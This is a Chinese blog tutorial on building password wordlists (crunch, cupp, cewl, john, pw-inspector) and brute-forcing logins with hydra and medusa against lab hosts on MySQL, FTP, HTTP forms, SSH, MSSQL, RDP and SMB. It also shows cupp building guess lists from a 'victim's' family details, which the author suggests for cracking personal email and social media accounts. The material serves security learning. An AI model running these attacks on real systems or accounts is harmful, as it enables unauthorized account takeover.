字典生成----在线密码破解工具hydra和medusa的使用

大家好,我是SuieKa。
本次主要稍微详细分析一下字典的生成和在线密码破解工具hydra和medusa及使用案例,希望对大家学习上有帮助!

在这里插入图片描述

一、常见字典生成工具及使用方法

密码常见破解方法:
人工猜测(信息收集)
垃圾桶工程
被动信息收集
基于字典暴力破解(键盘字符集组合)

最传统的方法就是猜,但是有时候密码过于难猜,在有效的办法中,我们最好采用字典暴力破解,怎么暴力?如何暴力?怎么破解密码?现在我们就来详细说说字典暴力破解方法。

我使用的kali linux版本

root@wangzhike:~# uname -srv
Linux 5.5.0-kali2-amd64 #1 SMP Debian 5.5.17-1kali1 (2020-04-21)

kali自带字典

Kali 系统自带字典目录wordlists
/usr/share/wordlists
root@wangzhike:/usr/share/wordlists# ls
dirb  dirbuster  fasttrack.txt  fern-wifi  metasploit  nmap.lst  rockyou.txt.gz  wfuzz

dirb目录:

root@wangzhike:/usr/share/wordlists/dirb# ls
big.txt  				#较大的字典
small.txt				#较小的字典    
euskera.txt				#数据目录字典            
mutations_common.txt	#备份扩展名
spanish.txt				#方法名或库文件
catala.txt				#项目配置字典 	 
extensions_common.txt	#常用文件扩展名字典  
others					#其他,扩展目录,默认用户名等                
stress					#压力测试
common.txt				#公共字典  
indexes.txt				#常用首页字典           
vulns					#漏洞测试

dirbuster目录:

root@wangzhike:/usr/share/wordlists/dirbuster# ls
apache-user-enum-1.0.txt  
apache-user-enum-2.0.txt				#apache用户枚举 
directories.jbrofuzz					#目录枚举
directory-list-1.0.txt
directory-list-2.3-small.txt
directory-list-2.3-medium.txt			       
directory-list-lowercase-2.3-medium.txt  
directory-list-lowercase-2.3-small.txt	#目录列表

fasttrack.txt #快速字典文本
常见密码组合,比如password
在这里插入图片描述

fern-wifi目录:

root@wangzhike:/usr/share/wordlists/fern-wifi# ls
common.txt		#公共wifi账户密码文本字典

metasploit目录:
这个目录里的字典就有很多了,各种字典都有。
比如:
默认用户密码字典、路由器用户密码字典、http默认用户密码字典、综合项目管理用户及密码、恶意网站密码、oracle默认密码
在这里插入图片描述
nmap.lst #里面也是集结了各种密码

rockyou.txt.gz #一个51M的字典包(命中率高的字典文件)

wfuzz目录:
其他字典、比如网络服务、一般字典等。

root@wangzhike:/usr/share/wordlists/wfuzz# ls
general  Injections  others  stress  vulns  webservices

1、字典生成工具crunch

用法:crunch <min-len> <max-len> [<charset string>] [options]

– 默认是小写字符
crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100

-b	按大小分割字典文件(kb/kib、 mb/mib、 gb/gib)
-c 每个字典行数,也即包含密码的个数
##以上两个参数必须与-o START结合使用
-d 同意字符连贯出现的数量(11/aaa)
-e 字符串,定义停止生成密码,比如-e 222222:到222222停止生成密码
-f /path/to/charset.lstcharset-name,从charset.lst指定字符集,也即调用密码库文件
-i 改变出格式
-o wordlist.txt,指定输出文件的名称
-q filename.txt,读取filename.txt
-s startblock,指定一个开始的字符
-t @,%^,指定字典组成规则
-u 必须是最后一个选项,禁止打印百分比
-z gzip, bzip2, lzma, and 7z,从-o选项压缩输出结果,支持gzip,bzip2, lzma, and 7z格式,gzip是最快压缩率最低,bzip2是稍微慢于gzip,但比其压缩率搞,7z最慢,但压缩率最高。

创建精准、小的字典

root@wangzhike:/Dictionaries# crunch 6 6 0123456789 -o START -d 2
#同一个字符出现次数-2
root@wangzhike:/Dictionaries# ls
001001-998998.txt

root@wangzhike:/Dictionaries# crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100
#生成6个字典,1M一个
root@wangzhike:/Dictionaries# ls
001001-148808.txt  148809-296626.txt  445536-593363.txt  741273-890090.txt
001001-998998.txt  296627-445535.txt  593364-741272.txt  890091-998998.txt

字典组成规则
root@wangzhike:/Dictionaries# crunch 6 6 -t @,%%^^ | more
@ 小写字母 lalpha
, 大写字母 ualpha
% 数字 numeric
^ 符号 symbols

在这里插入图片描述
比较有用的操作

生成pass01-pass99所有数字组合
crunch 6 6 -t pass%%>>npassword.txt

生成六位小写字母密码,其中前四位为pass
crunch 6 6 -t pass@@>>npassword.txt

生成六位密码,其中前四位为pass,后二位为特殊字符
crunch 6 6 -t pass^^>>npassword.txt

8位数数字字典
crunch 8 8 charset.lst numeric -o num8.dic

6位数数字字典
crunch 6 60123456789 –o num6.dic

制作139开头的手机密码字典
crunch 11 11+0123456789 -t 139%%%%%%%% -o num13.dic

在线使用生成的密码(组合使用。即生成破解,不保存字典)
crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w - 
#生成一个、破解一个,不存硬盘、速度慢

2、cupp自定义字典

需要了解密码的规则,提高生成字典的精确性
按个人信息生成其专属密码字典:cupp
根据个人信息生成密码组合,适合破解个人邮箱账号、社交媒体账号,服务器端密码破解不太适合

需要python解释器

root@wangzhike:/Dictionaries# python3 -V
Python 3.8.2

git CUPP工具

root@wangzhike:/Dictionaries# apt-get install git
root@wangzhike:/Dictionaries# git clone https://github.com/Mebus/cupp.git
root@wangzhike:/Dictionaries# ls
cupp

使用方法:python3 cupp.py -选项
-h 显示帮助信息
-i 已交互的方式制作用户密码字典文件
-w 使用此选项配置现有字典
-l 从仓库下载大型字典文件
-a 直接从alecto DB解析默认用户名和密码
-v 显示版本信息

生成自定义字典
交互生成:python3 cupp.py -i

root@wangzhike:/Dictionaries/cupp# python3 cupp.py -i
 ___________ 
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\   
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: xxx		#字典名
> Surname: xxx			#姓氏
> Nickname: xxx			#昵称
> Birthdate (DDMMYYYY): 12041996	#出生日期


> Partners) name: xxx		#合伙人名字
> Partners) nickname: xxx	#昵称
> Partners) birthdate (DDMMYYYY): 23081993	#出生日期


> Child's name: xxx			#孩子名字
> Child's nickname: xxx		#昵称
> Child's birthdate (DDMMYYYY): 27102000	#出生日期


> Pet's name: tom	#宠物名字
> Company name: jieli	#公司名字


> Do you want to add some key words about the victim? Y/[N]: n
#你想添加一些关于受害者的关键词吗?
> Do you want to add special chars at the end of words? Y/[N]: n
#你想在单词的末尾加上特殊的字符吗?
> Do you want to add some random numbers at the end of words? Y/[N]:y
#你想在单词的末尾加一些随机数吗?
> Leet mode? (i.e. leet = 1337) Y/[N]: n
#Leet模式?(即leet=1337)

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to xin.txt, counting 14213 words.
[+] Now load your pistolero with xin.txt and shoot! Good luck!

在这里插入图片描述

3、cewl-根据网站信息生成字典

cewl(其他参数见cewl --help)
-m:最小单词长度
-d:爬网深度(首页远远不够,几层页面均收集)
-e:收集包含email地址信息
-c:每个单词出现次数
-w:保存文件
支持基本、摘要 身份认证
支持代理

cewl 1.1.1.1(IP或域名) -m 3 -d 3 -e -c -v -w baidu.txt

例:
对百度一级深度收集信息(可指定深度)
在这里插入图片描述
在这里插入图片描述

4、john-自定义规则创建字典

使用 John the Ripper 配置文件实现密码动态变型:(简称: jtr、 john)
配置文件:/etc/john/john.conf
里面有大量的规则可使用

默认规则为:
在这里插入图片描述
john --wordlist=cewl.txt --rules --stdout > wang.txt #输出到文件
–wordlist=cewl.txt #使用密码字典
–rules #使用默认规则,需其他规则,在john,conf配置后,使用 --rules=规则名
–stdout #会话的打印状态

root@wangzhike:/Dictionaries# ls
baidu.txt  cupp  xin.txt
root@wangzhike:/Dictionaries# john --wordlist=xin.txt --rules --stdout > wan.txt
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
50571p 0:00:00:00 100.00% (2020-06-11 04:26) 180610p/s Xinxiaowangging
root@wangzhike:/Dictionaries# ls
baidu.txt  cupp  wan.txt  xin.txt
root@wangzhike:/Dictionaries# more wan.txt 
000000
0000010
000002000
0000027
000007
000010
00002000
000027
000100
0001000
000102000

自定义规则:修改john配置文件添加规则或者修改规则使用
root@wangzhike:/Dictionaries# vi /etc/john/john.conf
在这里插入图片描述
直接使用即可
john --wordlist=xin.txt --rules=Wordlist --stdout > wang.txt

5、pw-inspector精简字典

筛选字典内容
-i 输入文件 -o 输出文件 -m 有效密码的最小长度 -M 有效密码的最大长度 -l 小写字母 -u 大学字母 -p 可打印的字符 -s 特殊字符 -n 数字
pw-inspector -i /usr/share/wordlists/nmap.lst -o p.lst -l
在这里插入图片描述
pw-inspector -i /usr/share/wordlists/nmap.lst -o pp.lst -u

在这里插入图片描述

二、密码破解工具hydra案例

在这里插入图片描述
在线密码破解: hydra(人称九头蛇) 在线的服务,kali中自带神器,使用字典尝试密码,一个个测试,破解暴力, 有时候破解容易失败
hydra是黑客组织thc的一款开源密码攻击工具,功能十分强大,支持多种协议的破解,在KALI的终端中执行hydra -h可以看到详细介绍。

常用参数
Options:
-R 继续从上一次进度接着破解
-I 忽略已破解的文件进行破解
-S 采用SSL链接
-s PORT 指定非默认服务端口
-l LOGIN 指定用户名破解
-L FILE 指定用户名字典
-p PASS 指定密码破解
-P FILE 指定密码字典
-y 爆破中不使用符号
-e nsr "n"尝试空密码, "s"尝试指定密码,"r"反向登录
-C FILE 使用冒号分割格式,例如"登录名:密码"来代替-L/-P参数
-M FILE 每行一条攻击的服务器列表, ':'指定端口
-o FILE 指定结果输出文件
-b FORMAT 为-o FILE输出文件指定输出格式:text(默认), json, jsonv1
-f / -F 找到登录名和密码时停止破解
-t TASKS 设置运行的线程数,默认是16
-w / -W TIME 设置最大超时的时间,单位秒,默认是30s
-c TIME 每次破解等待所有线程的时间
-4 / -6 使用IPv4(默认)或IPv6
-v / -V 显示详细过程
-q 不打印连接失败的信息
-U 服务模块详细使用方法
-h 更多命令行参数介绍
server 目标DNS、IP地址或一个网段
service 要破解的服务名
OPT 一些服务模块的可选参数

支持的协议: adam6500、asterisk、cisco、cisco-enable、cvs、firebird、ftp、ftps、http[s]-{head|get|post}、http[s]-{get|post}-form、http-proxy、http-proxy-urlenum、icq、imap[s]、irc、ldap2[s]、ldap3[-{cram|digest}md5][s]、mssql、mysql、nntp、oracle-listener、oracle-sid、pcanywhere、pcnfs、pop3[s]、postgres、radmin2、rdp、redis、rexec、rlogin、rpcap、rsh、rtsp、s7-300、sip、smb、smtp[s]、smtp-enum、snmp、socks5、ssh、sshkey、svn、teamspeak、telnet[s]、vmauthd、vnc、xmpp

kali linuxIP地址:192.168.1.106

1、hydra破解mysql数据库

靶机(linux系统):192.168.1.107

root@wangzhike:~# hydra -l root -P password.txt  192.168.1.107 mysql
#-P /usr/share/wordlists/dirb/small.txt	#可使用自带小字典(路径)

在这里插入图片描述
说明靶机mysql数据库为空密码

2、hydra破解ftp服务

靶机(linux):192.168.1.107

扫描靶机2121端口和服务,判断是否有ftp服务
root@wangzhike:~# nmap -p2121 -sV 192.168.1.107
在这里插入图片描述

root@wangzhike:~# hydra -L user.txt -p password.txt ftp://192.168.1.107 -s 21 -e nsr -o ftp.txt -t 16
#-L user.txt 		#用户字典
#-p password.txt 	#密码字典
#-o ftp.txt			#输出到文本

在这里插入图片描述

3、hydra破解http服务

靶机(linux):192.168.1.107
本靶机自带http服务可登录界面
在这里插入图片描述
post方式提交,破解DVWA登录用户及密码

root@wangzhike:~# hydra -l admin -P password.txt 192.168.1.107 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Lin:S=index.php" -V

在这里插入图片描述

get方式提交,破解web登录用户及密码

root@wangzhike:~# hydra -l admin -p password.txt -t 2 -vV -e ns 192.168.1.107 http-get /phpMyAdmin/

在这里插入图片描述

4、hydra破解ssh服务(linux密码)

靶机(linux):192.168.1.107

root@wangzhike:~# hydra -l msfadmin -p password.txt -t 2 -vV -e ns 192.168.1.107 ssh 

在这里插入图片描述

5、hydra破解mssql

靶机(本机装装有mssqlserver 2008):192.168.1.105
本机的mssqlserver数据库开启1433端口,并设置登录名sa及密码为wangzhike@123
在这里插入图片描述
本机关闭防火墙,并使用sa登录mssql

root@wangzhike:~# hydra -l sa -P password.txt 192.168.1.105 mssql -vV

在这里插入图片描述

6、hydra破解rdb密码

靶机(windows10_x64):192.168.1.108

root@wangzhike:~# hydra -l wangzhike -P password.txt rdp://192.168.1.108 -t 1 -Vv

在这里插入图片描述

7、hydra破解smb协议密码

靶机(linux):192.168.1.107

root@wangzhike:~# hydra -l msfadmin -P password.txt smb://192.168.1.107 -vV

在这里插入图片描述
等等,还有很多都可用这种套路式破解

三、密码破解工具medusa案例

hydra的缺点:
稳定性差,程序时常崩溃
速度控制不好,容易触发服务屏蔽或锁死机制
每主机新建进程, 每服务新建实例
大量目标破解时性能差

medusa:(美杜莎)
在这里插入图片描述
medusa 的特点
稳定性好
速度控制得当
基于线程
支持模块少于hydra(不支持RDP)
WEB-Form支持存在缺陷

参数
-h [TEXT]      目标主机名称或者IP地址
-H [FILE]       包含目标主机名称或者IP地址文件
-u [TEXT]      测试的用户名
-U [FILE]       包含测试的用户名文件
-p [TEXT]      测试的密码
-P [FILE]       包含测试的密码文件
-C [FILE]       组合条目文件
-O [FILE]       日志信息文件
-e [n/s/ns]    n代表空密码,s代表为密码与用户名相同
-M [TEXT]      模块执行名称
-m [TEXT]      传递参数到模块
-d                 显示所有的模块名称
-n [NUM]       使用非默认Tcp端口
-s                 启用SSL
-r [NUM]       重试间隔时间,默认为3-t [NUM]       设定线程数量
-T             同时测试的主机总数
-L                 并行化,每个用户使用一个线程
-f                 在任何主机上找到第一个账号/密码后,停止破解
-F                在任何主机上找到第一个有效的用户名/密码后停止审计。
-q                显示模块的使用信息
-v [NUM]      详细级别(0-6-w [NUM]     错误调试级别(0-10-V                显示版本
-Z [TEXT]      继续扫描上一次

随便说几个案例,大都是一个套路

1、medusa破解ftp

靶机(linux):192.168.1.107

root@wangzhike:~# medusa -M ftp -h 192.168.1.107 -e ns -F -u ftp -P password.txt 

在这里插入图片描述
#注意:显示为空密码

2、medusa破解mysql

靶机(linux):192.168.1.107

root@wangzhike:~# medusa -M mysql -h 192.168.1.107 -e ns -F -u root -P password.txt 

在这里插入图片描述

3、medusa破解ssh

靶机(本机kali):192.168.1.106

root@wangzhike:~# medusa -M ssh -h 192.168.1.106 -e ns -F -u root -P password.txt

在这里插入图片描述

4、medusa破解mssqlserver 2008

本机同上,mssql登录sa,关闭防火墙

root@wangzhike:~# medusa -M mssql -h 192.168.1.105 -e ns -F -u sa -P password.txt

在这里插入图片描述
好了!希望对大家有帮助!再者记得点赞加关注哟

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

24:

谢谢,只求点赞哟

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值